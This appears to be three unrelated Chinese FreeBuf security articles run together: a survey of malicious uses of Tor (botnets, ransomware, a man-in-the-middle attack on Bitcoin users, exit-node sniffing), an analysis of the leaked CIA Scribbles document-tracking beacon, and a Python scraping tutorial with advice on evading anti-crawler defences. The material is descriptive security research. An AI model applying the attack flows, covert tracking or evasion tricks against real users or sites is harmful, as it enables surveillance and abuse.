* 原创作者:ArkTeam,本文属FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM 

Tor本来是为用户提供匿名上网保护用户隐私的工具,但是对于一些用户来说,他们可以利用Tor的隐蔽性进行黑客攻击或非法交易活动。总结Tor的恶意应用主要表现在以下几方面。

1.Botnet利用Tor

僵尸网络作为最有效的网络攻击平台,给互联网安全带来了巨大的威胁。随着攻防技术的不断研究,僵尸网络的形态和控制命令机制也在不断变化[1]:

(1)首先是IRC机制,中心化结构但是有单点故障问题;

(2)P2P结构,解决了单点故障问题,但是无法监视命令状态,实现又很复杂;

(3)HTTP协议的botnet,又不断改进为动态访问机制的Fast-Flux和Domain-Flux。

僵尸网络利用Tor进行匿名通信首次被提出是在2010 DefCon大会上,以“ZeuS”为例将C&C服务器部署于Tor暗网中,但是它不支持代理,不能直接使用Tor,但是可以通过设置URL使用tor2web代理服务进行访问暗网(图1,图2)。这样以最小的代价提高了botnet的存活性,Tor网络配置简单,只需提供一个.onion地址就可以实现隐藏C&C。

1.png

1 ZeuS不支持配置dialing

2.png

2 通过Tor2Web格式化请求脚本

直到2012年12月“Skynet”的出现验证了“Botnet over Tor”的思想。Botnet主要利用Tor的隐藏服务功能隐藏C&C服务器,并在恶意程序中包含Tor程序,通过下达指令使bot自动安装Tor组件,进而通过Tor网络进行通信(如图3)。控制者将所有命令与控制信道都在Tor网络中进行,这样的好处有:

(1)不存在出口节点泄露信息的威胁;

(2)控制者身份不易被追踪和暴露;

(3)C&C服务器几乎可以免除被关闭或删除。

随后2013年随着Tor用户量的异常增加,“Sefnit”[2]僵尸网络出现了,也是通过Tor隐藏C&C服务器,之后Tor项目对该版本的Tor(恶意代码随意执行无验证漏洞)进行升级,微软更新安全组件、扫描工具等进行清理恶意程序。2014年又出现了首个基于Tor的Android僵尸网络隐藏C&C进行通信(图4)。

3.png

图3 botnet利用Tor隐藏C&C

4.png

4Android botnet

但是利用Tor的botnet也存在一些弊端[3]:

(1)Botnet大量使用Tor,导致Tor的下载速度下降、Tor的用户量剧增,必然会引起Tor用户的关注和安全专家的研究;

(2)使用Tor访问需要安装、配置和运行Tor,导致botnet的网络异常;

(3)Tor本身的流量特征模式也比较明显,增加botnet的异常性;

(4)使用Tor可能需要增加额外的大量功能代码;

(5)使用Tor后botnet仍然面临着Crawling攻击和Sinkholing攻击。

可见botnet和Tor的强强联合没有并带来更好的效果。

2.勒索软件利用Tor

勒索软件是一种可控制用户系统或资产,并以此为条件向用户勒索钱财的恶意软件。主要分为两类:

加密型勒索:感染目标设备后通过强大的加密算法(AES、RSA等)将用户文件、磁盘、数据库进行加密。

锁定型勒索:感染目标设备后通过篡改设备密码将设备锁定,使得用户无法正常使用。

近几年,勒索攻击事件愈演愈烈,勒索软件在全球范围内猖獗。CyberEdge公司发布2017年度网络威胁防御报告,报告中指出有61%的组织受到过勒索软件的侵害,其中1/3的用户选择了支付赎金。勒索软件不断呈现新的态势,在目标感觉阶段、本地攻击阶段、勒索支付阶段的复杂性和多样性一直在增加。其中,在本地攻击阶段和勒索支付阶段分别使用了Tor。

在本地攻击阶段勒索软件使用Tor隐藏C&C服务器,如CTB-Locker[5]。用户被感染后CTB-Locker利用不可破解的EllipticCurve Diffie-Hellman算法对文件进行加密,所有通信和数据传递都通过Tor网络来进行,C&C服务器使用Hidden Service,使其更加难以追踪和关停。用户不需要安装有Tor浏览器,Tor的可执行程序被硬编码到恶意软件中(图5)。

在勒索支付阶段使用了Tor网络提供支付比特币赎金地址,如CryptoWall3.0和PETYA ransomware,勒索信息里会包含一条以“.onion”结尾的链接地址(图6),告知用户交易地址,这样很难被追踪,即使没有解密也难以追回赎金,但是勒索者在这方面都具有惊人的良好信用。

5.png

5 勒索软件利用Tor隐藏C&C

6.png

6 通过Tor支付赎金

3.比特币利用Tor

比特币是一种在P2P网络里进行交易的基于密码学的分散式虚拟货币。比特币交易系统里的付款人和收款人的交易地址都是公钥编码后的哈希值,所以一般不可识别。但是可以通过IP地址与你的交易联系起来,如通过ISP、NSA、恶意节点攻击等方法。所以Tor被用到比特币中防止交易方的IP地址泄露(图7)。

 7.png        

7 比特币利用Tor隐藏地址

8.png

8 攻击者部署恶意节点  

但是,比特币通过Tor进行交易并不是一个好的想法,很容易被攻击者利用[5]。

       首先,在比特币网络中,如果比特币节点收到恶意构造的畸形消息(如某些协议字段的大小不正确),通过其内部机制的判断,会将消息发送者的源IP地址加入黑名单中,导致该IP在24小时内无法访问该比特币服务节点。

攻击者的攻击流程如下:

(1)分别构造少量恶意的比特币节点和Tor出口节点,并向各自所在网络中宣传,让普通用户的地址列表中存在这些恶意节点。

(2)攻击者通过Tor网络向合法的比特币服务节点发送大量恶意构造消息,导致Tor网络正常的出口节点被比特币服务节点拒绝访问。

(3)用户通过Tor网络访问合法比特币节点时,如果选择了被拒绝访问的Tor出口节点则不得不重新选择访问链路。此时用户可能会选择攻击者构造的恶意Tor出口节点,或者Tor出口节点是合法的,但最终指向了攻击者部署的恶意比特币节点(图8)。

以上两种可能都实现了中间人攻击,可见Bitcoin利用Tor隐藏地址会出现新的风险。

4.Tor出口节点嗅探流量

Tor网络在设计之初,只是为了隐藏发送者和接收者的位置信息,并没有对内容信息进行隐藏,网站可以使用HTTPS对其加密。但是很多网站仍然使用HTTP协议构建网络,这给Tor网络的出口节点制造了嗅探流量的机会。利用蜜罐技术可以识别恶意出口节点(图9)。

(1)研究者在实验中[6]部署一个蜜罐网站,并且设置访问权限。

(2)通过正常的Tor网络访问该蜜罐网站,每次访问都分别使用唯一的用户名密码账号信息,并记录出口节点IP地址及其他信息。

(3)如果该网站被登录过的用户名密码再次访问说明账号信息泄露,该账号对应的Tor出口节点已嗅探流量,视为恶意出口节点。

实验证明在1400个出口节点中存在7个恶意嗅探流量的节点,毕竟大多数的志愿者是友好的。另外,Tor的出口节点也有可能修改用户请求数据或插入恶意代码实施中间人攻击,该种情况可以通过比较使用Tor网络访问网站和不使用Tor网络访问相同网站的响应数据是否一致,如果不一致即说明出口节点可能实现了中间人攻击(图10)。

9.png

9 识别恶意Tor出口节点嗅探流量

10.png

10 识别恶意Tor出口节点中间人攻击

5.黑市交易

Tor网络不仅可以隐藏发送者的地址信息,也可以隐藏接收者的服务器地址信息。很多黑市商人利用Tor网络搭建匿名服务器进行黑市交易,著名的“丝绸之路”就是利用Tor网络的犯罪市场。虽然“丝绸之路”已被查封,但是暗网中仍然存在大量的黑市交易产业(图11)。

11.png

11 暗网非法交易

6.小结

    Tor的应用在一定程度上会给恶意应用者带来隐蔽性,但是由于Tor本身的流量特殊性以及去匿名化的研究越来越多,Tor的附加应用不一定会带来更好的效果。

7.参考资料:

[1] http://securityaffairs.co/wordpress/13747/cyber-crime/http-botnets-the-dark-side-of-an-standard-protocol.html

[2] https://blogs.technet.microsoft.com/mmpc/2014/01/09/tackling-the-sefnit-botnet-tor-hazard

[3] Casenove M, Miraglia A. Botnetover Tor: The illusion of hiding[C]//Cyber Conflict (CyCon 2014), 2014 6thInternational Conference On. IEEE, 2014: 273-282.

[4] http://www.coinbuzz.com/2014/07/29/ctb-locker/

[5] Biryukov A, Pustogarov I.Bitcoin over Tor isn’t a good idea[C]//Security and Privacy (SP), 2015 IEEESymposium on. IEEE, 2015: 122-134.

[6] https://motherboard.vice.com/en_us/article/badonion-honeypot-malicious-tor-exit-nodes

* 原创作者:ArkTeam,本文属FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM

*本文原创作者:ArkTeam/Wellee,属Freebuf原创奖励计划,未经许可禁止转载

2017年4月28日,维基解密发布了CIA“涂鸦”(Scribbles)项目的文档和源代码(参考地址1)。这是一个文档预处理系统,用于给涉密文档打上“Web beacon”类型的追踪水印。该系统相关简介已有参考文章(参考地址2),在此不做过多叙述。文本首先通过其源代码,分析该系统生成水印的流程,然后通过实际使用,介绍其使用方法,并对其实际效果进行测试和总结。

一、 原理概述

“Webbeacon”追踪标签,通常被用于植入电子邮件和网页,可以利用它来发送关于邮件是否已被打开的信息。如在邮件中嵌入一个隐藏的远程图片URL,当邮件被打开时,会主动请求该URL,以加载远程图片。远程服务器获得请求,便可获知该邮件已被打开。

同理,Scribbles实际上是在文档中嵌入一种隐藏的水印,注意,该水印并不是office软件中自带的水印功能(如添加背景字等),而是类似上述“Web beacon”的原理,之所以称其为水印,是因为Scribbles的说明文档和源代码都使用的“watermark”关键词,索性在此称之为水印。Scribbles的水印严格来说就是在文档中插入一个远程图像的URL,当文档被打开时,会主动通过HTTPHTTPS协议的GET请求访问该URL以加载远程图片,远程服务器接收到请求便可得知有机密文件已经被打开,并可根据请求信息,得知文件被打开时所在的主机源IP等信息,从而进行追踪。注:下文中所述的水印都是指该URL。

Scribbles给文档嵌入上述水印,生成并记录水印中的特定字符串,当远程服务器收到请求,便可根据该请求中的特殊字符串得知是哪个文件被窃取,虽然原理简单易懂,但是该策略十分有效,具体细节下文进行介绍。

二、 系统源码分析

该系统可给Word, Excel, PowerPoint三种文档的多种版本打上水印,进行追踪,其原理和流程大致相同,下面就以Word文档水印生成流程的代码进行详细分析。

1. 水印生成流程

Word文档水印生成主要流程如下图:

图片 1.png

1) Scribbles程序运行需要从命令行或者配置文件中读取相关参数,关键参数主要有:

url_Scheme:协议类型,可为HTTP和HTTPS

hostServerName:发起请求的域名

hostRootPath:发起请求的域的根路径

hostSubDirs:发起请求的域的子路径

hostFileName:发起请求的文件名

hostFileExtList:发起请求的文件类型后缀

output_Directory:已嵌入水印的文件输出路径

output_WatermarkLog:输出构造水印日志

图片 2.png

程序根据读取的参数,生成一个特定的URL,该URL中包含一个特殊字符串,以用来唯一标识文档。

2) 接下来,程序根据读取参数,创建输出目录,复制源文件到输出目录。接下来的处理都是对输出目录中得到的新文件进行。此步骤中,如果源文件是.doc后缀类型文件,会将其转为.docx文件,打上水印后再将其处理还原回.doc类型

图片 3.png

图片 4.png

3) 接下来,在新文件中的页眉中插入图片占位符

图片 5.png

4) 然后将文件转为xml格式,存到程序创建的临时文件夹中。然后将图片占位符替换为水印URL。

图片 6.png图片 7.png

将程序中删除临时文件夹的代码注释掉,再次运行程序便可在临时文件夹中的word目录下的rels子目录的header1.xml.rels文件查看到已经嵌入的水印URL。

图片 8.png

5) 之后,程序将之前解压处理并植入水印的XML文件还原回正常的Word文档,至此水印URL在新文档中植入完成。

图片 9.png

6) 接下来将水印生成的相关信息记录到日志文件中,水印嵌入过程到此结束。

图片 10.png

三、 使用方法及测试

1. 使用方法

接下来介绍程序的使用方法:

源码部分已经说明程序需要从命令行或者配置文件中读取相关参数来构造水印URL,下面实际测试通过构造配置文件的方式让程序读取相关参数。

1) 测试所用的配置文件1.xml的内容如下图

图片 11.png

其中的参数之所以为list,是因为程序会从参数list中随机选取值,来为每个文件构造URL,具体构造的URL事例详见下文。

2) 程序一方面需要根据参数构造水印URL,另一方面,需获得要打水印的源文件的路径,路径可以为多层次的文件夹。本次测试的源文件存放位置大致如下图:

图片 12.png

InputDir是赋予程序的输入目录,程序会自动读取该目录下的所有文件夹和文件,通过复制源文件的方式,创建新文件并打上水印。之后,记录日志到配置的tsv日志文件中。

3) 命令行使用上述1.xml配置文件,运行程序,如下图:

图片 13.png

程序运行结束后,文件夹结构如下图:可看出程序按照InputDir文件夹的层次结构,在配置的OutputDir文件夹下,创建一模一样的文件夹层次结构,并复制了源文件,将其打上水印。

图片 14.png

最后,程序创建的日志文件的部分内容如下图:主要包含源文件的路径名称,水印Tag,水印URL等内容。

图片 15.png

2. 效果测试

将生成的水印文档进行测试,并进行抓包分析,证明了上述原理分析。

1) 打开嵌入水印后的Word文档,如下图:首先将源文件(左)和嵌入水印的文件(右)对比,发现嵌入水印后的文件多了页眉,当然,如果源文件本身也有页眉的话,那么直观来看,根本看不出有任何变化。

图片 16.png

打开抓包工具,然后打开文件,抓到的数据包可看到,当文件打开时,其请求了水印URL,效果如下:

图片 17.png

其中的1ntwe4fvbg77v.z8x9ntj3bj06j67b4就是前述所说的构造特殊字段,该字段保证水印的唯一性和文件的一一对应关系。

图片 18.png

观察程序生成水印时记录的日志,便可得知此次请求是因为1.docx文件被打开,另一方面服务器端收到请求,获得请求端的源IP地址,可在一定程度上进行追踪溯源。

2) 事实上,打开Word文件中的页眉,仔细观察会发现页眉左边有个很小的图像像素点,但是不仔细看真的很难发现,而且文档打开时,不会有任何提示。

图片 19.png

将页眉全选后,该像素点效果如图:

图片 20.png

拖动该像素点,将其拉长,可看到其就是一个链接的远程图片,因为水印URL是程序随机使用配置参数中的数据构造的假链接,所以文档中显示,“无法显示该图像”。如图:

图片2 1.png

至此,Word的水印构造过程和其原理已经清楚。另外,打开Excel和PPT的效果大致类似,亲测同样有效!在此不再赘述。但是有个细节是,打开PPT文件时,PPT会弹出“是否需要打开对外部图片的引用”提示,如下图:

图片 22.png

这也正是为什么运行程序时,会给出让用户确认是否需要对PPT文件进行水印处理通知的原因,防止高级攻击者打开PPT文件时发现异常。

四、总结 

Scribbles利用水印进行溯源追踪,利用了office可以链接远程文件的“漏洞”,技术实现和工作原理上都较为简洁,该技术思路未公开之前,效果也颇为明显。

但是其也存在诸多弊端,一方面如其说明文档所述,对打开文档软件的有效性有所限制,如在Linux系统中的LibreOffice中打开时会失效。另一方面,随着该技术的普及,攻击者得知后,可以在断开网络的主机上查看窃密文件,或者打开文件之前断开网络,该追踪策略也即失效。

当然该技术目前看还是有很大的应用场景的,比如企业、政府内部可以利用其制作多个欺骗性文件,以此感知未被发现的文件窃密攻击等等。还有众多应用场景,大家可以尽情发挥想象力!Happy hunting!

五、参考资料

[1] https://wikileaks.org/vault7/#Scribbles

[2] http://www.freebuf.com/news/133571.html

*本文原创作者:ArkTeam/Wellee,属Freebuf原创奖励计划,未经许可禁止转载

* 原创作者:ArkTeam/XHJ,本文属FreeBuf原创奖励计划,未经许可禁止转载 

一 相关背景

网络爬虫(Web Spider)又称网络蜘蛛、网络机器人,是一段用来自动化采集网站数据的程序。如果把互联网比喻成一个蜘蛛网,那么Spider就是在网上爬来爬去的蜘蛛。网络爬虫不仅能够为搜索引擎采集网络信息,而且还可以作为定向信息采集器,定向采集某些网站下的特定信息,如:汽车票价,招聘信息,租房信息,微博评论等。

二 应用场景

1.png

图1 应用场景

爬虫技术在科学研究、Web安全、产品研发、舆情监控等领域可以做很多事情。如:在数据挖掘、机器学习、图像处理等科学研究领域,如果没有数据,则可以通过爬虫从网上抓取;在Web安全方面,使用爬虫可以对网站是否存在某一漏洞进行批量验证、利用;在产品研发方面,可以采集各个商城物品价格,为用户提供市场最低价;在舆情监控方面,可以抓取、分析新浪微博的数据,从而识别出某用户是否为水军。

三 本文目的

本文简要介绍对于定向信息采集所需了解基本知识和相关技术,以及python中与此相关的库。同时提供对与数据抓取有关库的封装实现,目的是减少不必要的配置,便于使用,目前仅包含对urllib2, requests, mechanize的封装。地址:https://github.com/xinhaojing/Crawler

四 运行流程

对于定向信息的爬取,爬虫主要包括数据抓取、数据解析、数据入库等操作流程。其中:

(1)数据抓取:发送构造的HTTP请求,获得包含所需数据的HTTP响应;

(2)数据解析:对HTTP响应的原始数据进行分析、清洗以提取出需要的数据;

(3)数据入库:将数据进一步保存到数据库(或文本文件),构建知识库。

2.png

图2.1 基本运行流程

 

3.png

图2.2 详细运行流程

五 相关技术

爬虫的相关技术包括:

(1)数据抓取:了解HTTP请求和响应中各字段的含义;了解相关的网络分析工具,主要用于分析网络流量,如:burpsuit等。一般情况,使用浏览器的开发者模式即可;

(2)数据解析:了解HTML结构、JSON和XML数据格式,CSS选择器、Xpath路径表达式、正则表达式等,目的是从响应中提取出所需的数据;

(3)数据入库:MySQL,SQLite、Redis等数据库,便于数据的存储;

 

4.png

图3 相关技术

 

以上是学习爬虫的基本要求,在实际的应用中,也应考虑如何使用多线程提高效率、如何做任务调度、如何应对反爬虫,如何实现分布式爬虫等等。本文介绍的比较有限,仅供参考。

六 python相关库

在爬虫实现上,除了scrapy框架之外,python有许多与此相关的库可供使用。其中,在数据抓取方面包括: urllib2(urllib3)、requests、mechanize、selenium、splinter;在数据解析方包括:lxml、beautifulsoup4、re、pyquery。

对于数据抓取,涉及的过程主要是模拟浏览器向服务器发送构造好的http请求,常见类型有:get/post。其中,urllib2(urllib3)、requests、mechanize用来获取URL对应的原始响应内容;而selenium、splinter通过加载浏览器驱动,获取浏览器渲染之后的响应内容,模拟程度更高。

具体选择哪种类库,应根据实际需求决定,如考虑效率、对方的反爬虫手段等。通常,能使用urllib2(urllib3)、requests、mechanize等解决的尽量不用selenium、splinter,因为后者因需要加载浏览器而导致效率较低。

对于数据解析,主要是从响应页面里提取所需的数据,常用方法有:xpath路径表达式、CSS选择器、正则表达式等。其中,xpath路径表达式、CSS选择器主要用于提取结构化的数据,而正则表达式主要用于提取非结构化的数据。相应的库有lxml、beautifulsoup4、re、pyquery。

表1 相关库文档

  类库 文档
  数 据 抓 取 urllib2 https://docs.python.org/2/library/urllib2.html
requests http://cn.python-requests.org/zh_CN/latest
mechanize https://mechanize.readthedocs.io/en/latest/
splinter http://splinter.readthedocs.io/en/latest/
selenium https://selenium-python.readthedocs.io/
  数 据 解 析 lxml http://lxml.de/
  beautifulsoup4 https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html http://cuiqingcai.com/1319.html
re http://www.cnblogs.com/huxi/archive/2010/07/04/1771073.html
pyquery https://pythonhosted.org/pyquery/

 

七.相关介绍

1数据抓取

(1)urllib2

urllib2是python自带的一个访问网页及本地文件的库,通常需要与urllib一起使用。因为urllib提供了urlencode方法用来对发送的数据进行编码,而urllib2没有对应的方法。

以下是对urllib2简易封装的说明,主要是将相关的特性集中在了一个类函数里面,避免一些繁琐的配置工作。

5.png

6.png

7.png

8.png

图4 urllib2封装说明

(2)requests和mechanize

requests是Python的第三方库,基于urllib,但比urllib更加方便,接口简单。其特点包括,关于http请求:支持自定义请求头,支持设置代理、支持重定向、支持保持会话[request.Session()]、支持超时设置、对post数据自动urlencode;关于http响应:可直接从响应中获得详细的数据,无需人工配置,包括:状态码、自动解码的响应内容、响应头中的各个字段;还内置JSON解码器。

mechanize是对urllib2部分功能的替换,能够更好的模拟浏览器行为,在web访问控制方面做得很全面。其特点包括:支持cookie设置、代理设置、重定向设置、简单的表单填写、浏览器历史记录和重载、referer头的添加(可选)、自动遵守robots.txt、自动处理HTTP-EQUIV和刷新等。

对requests和mechanize简易封装后的接口与urllib2一样,也是将相关特性集中在了一个类函数里面,这里不在重复说明,可参考所给代码。

(4)splinter和selenium

selenium(python)和splinter可以很好的模拟浏览器行为,二者通过加载浏览器驱动工作。在采集信息方面,降低了分析网络请求的麻烦,一般只需要知道数据页面对应的URL即可。由于要加载浏览器,所以效率方面相对较低。

默认情况下,优先使用的是Firefox浏览器。这里列出chrome和pantomjs(无头浏览器)驱动的下载地址,方便查找。

chrome和pantomjs驱动地址:

chrome : http://chromedriver.storage.googleapis.com/index.html?path=2.9/

pantomjs : http://phantomjs.org/download.html

2 数据解析

对于数据解析,可用的库有lxml、beautifulsoup4、re、pyquery。其中,beautifulsoup4比较常用些。除了这些库的使用,可了解一下xpath路径表达式、CSS选择器、正则表达式的语法,便于从网页中提取数据。其中,chrome浏览器自带生成Xpath的功能。

9.png

图5 chrome查看元素的xpath

如果能够基于网络分析,抓取到所需数据对应的页面,接下来,从页面中提取数据的工作就相对明确很多。具体的使用方法可参考文档,这里不在详细介绍。

八 反爬虫

1. 基本的反爬虫手段,主要是检测请求头中的字段,比如:User-Agent、referer等。针对这种情况,只要在请求中带上对应的字段即可。所构造http请求的各个字段最好跟在浏览器中发送的完全一样,但也不是必须。

2. 基于用户行为的反爬虫手段,主要是在后台对访问的IP(或User-Agent)进行统计,当超过某一设定的阈值,给予封锁。针对这种情况,可通过使用代理服务器解决,每隔几次请求,切换一下所用代理的IP地址(或通过使用User-Agent列表解决,每次从列表里随机选择一个使用)。这样的反爬虫方法可能会误伤用户。

3. 希望抓取的数据是如果通过ajax请求得到的,假如通过网络分析能够找到该ajax请求,也能分析出请求所需的具体参数,则直接模拟相应的http请求,即可从响应中得到对应的数据。这种情况,跟普通的请求没有什么区别。

4. 基于JavaScript的反爬虫手段,主要是在响应数据页面之前,先返回一段带有JavaScript代码的页面,用于验证访问者有无JavaScript的执行环境,以确定使用的是不是浏览器。

通常情况下,这段JS代码执行后,会发送一个带参数key的请求,后台通过判断key的值来决定是响应真实的页面,还是响应伪造或错误的页面。因为key参数是动态生成的,每次都不一样,难以分析出其生成方法,使得无法构造对应的http请求。

比如网站http://www.kuaidaili.com/,使用就是这种方式,具体可参见https://www.v2ex.com/t/269337

在首次访问网站时,响应的JS内容会发送带yundun参数的请求,而yundun参数每次都不一样。

10.png

11.png

图6动态参数yundun

目前测试时,该JavaScript代码执行后,发送的请求不再带有yundun参数,而是动态生成一个cookie,在随后的请求中带上该cookie,作用类似于yundun参数。

12.png

13.png

14.png

图7 动态cookie

针对这样的反爬虫方法,爬虫方面需要能够解析执行JavaScript,具体的方法可使用selenium或splinter,通过加载浏览器来实现。

更详细的反爬虫技术和应对方法可参考:

1.https://zhuanlan.zhihu.com/p/20520370

2.https://segmentfault.com/a/1190000005840672

3.http://v.qq.com/page/j/o/t/j0308hykvot.html

九 参考

[1] http://www.test404.com/post-802.html

[2] http://blog.csdn.net/shanzhizi/article/details/50903748

[3] http://blog.chinaunix.net/uid-28930384-id-3745403.html

[4] http://blog.csdn.net/cnmilan/article/details/9199181

[5] https://zhuanlan.zhihu.com/p/20520370

[6] https://segmentfault.com/a/1190000005840672

[7] https://www.v2ex.com/t/269337

* 原创作者:ArkTeam/XHJ,本文属FreeBuf原创奖励计划,未经许可禁止转载